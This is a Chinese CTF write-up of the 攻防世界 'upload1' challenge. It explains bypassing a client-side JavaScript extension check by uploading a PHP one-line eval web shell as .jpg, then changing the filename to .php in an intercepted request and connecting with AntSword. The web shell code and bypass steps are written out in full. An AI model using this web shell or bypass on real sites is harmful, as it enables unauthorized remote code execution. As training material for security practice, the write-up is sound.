当前位置: 首页 > article >正文

[CTF/网络安全] 攻防世界 upload1 解题详析

[CTF/网络安全] 攻防世界 upload1 解题详析

在这里插入图片描述
考察文件上传,具体原理及姿势不再赘述。
 

姿势

在txt中写入一句话木马<?php @eval($_POST[qiu]);?>
回显如下:
在这里插入图片描述
查看源代码:

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
 }

这段代码的作用是检查上传文件的扩展名是否符合要求,如果是图片格式(jpg或png),则启用提交按钮,否则禁用提交按钮并弹出提示消息。

其中用到了 JavaScript 中的 Array 原型对象和条件判断语句。该代码通过扩展 Array 原型对象添加了一个名为 contains 的函数,用于判断一个对象是否在数组中,主要应用于判断上传文件的扩展名是否属于指定的图片格式,这里是 [‘jpg’,‘png’]

更改文件格式为jpg

在这里插入图片描述

文件上传成功:

在这里插入图片描述

进入所在路径:

在这里插入图片描述
上图说明jpg文件被拦截

抓包,修改filename文件后缀为.php,重发请求包

 


在这里插入图片描述

进入所在路径:

在这里插入图片描述

无Error回显,说明木马上传成功。
若不清楚木马是否上传成功,可修改内容如下:

<?php 
@eval($_POST['qiu']);
echo('qiu');
?>

若文件上传成功,则在上传路径对应的页面会输出qiu

连接蚁剑:

在这里插入图片描述

在这里插入图片描述


http://www.kler.cn/a/416776.html

相关文章:

  • 『 Linux 』数据链路层 - ARP协议及数据链路层周边问题
  • springboot学习-spring-boot-data-jdbc分页/排序/多表查询的例子
  • HarmonyOS 5.0应用开发——列表(List)
  • NeuIPS 2024 | YOCO的高效解码器-解码器架构
  • TongRDS分布式内存数据缓存中间件
  • 【Laravel】存储仓Repository基础
  • js 中 file 文件 应用
  • 应急响应靶机——Windows挖矿事件
  • Istio笔记01--快速体验Istio
  • 使用 Spring AI + Elasticsearch 让 RAG 变得简单
  • jmeter基础(超详细总结)
  • 第五讲:运算符与表达式:算术、关系、逻辑、赋值等运算符及其优先级
  • 超级灵感:前端页面功能统一管理方案
  • Flutter 权限申请
  • 数据结构——有序二叉树的构建遍历查找
  • 【iOS】多线程基础
  • 基于R语言森林生态系统结构、功能与稳定性分析与可视化
  • 搭建一个基于Web的文档管理系统,用于存储、共享和协作编辑文档
  • 面试小札:ThreadLocal底层实现原理和具体应用场景
  • 浅谈JAVA中的Random随机数
  • Linux CentOS:深入探讨端口管理与防火墙配置技巧20241126
  • 蓝队之云技术
  • UE5 打包环境、C++环境安装说明
  • [2024年3月10日]第15届蓝桥杯青少组stema选拔赛C++中高级(第二子卷、编程题(6))
  • 基础(函数、枚举)错题汇总
  • 深度学习笔记——模型部署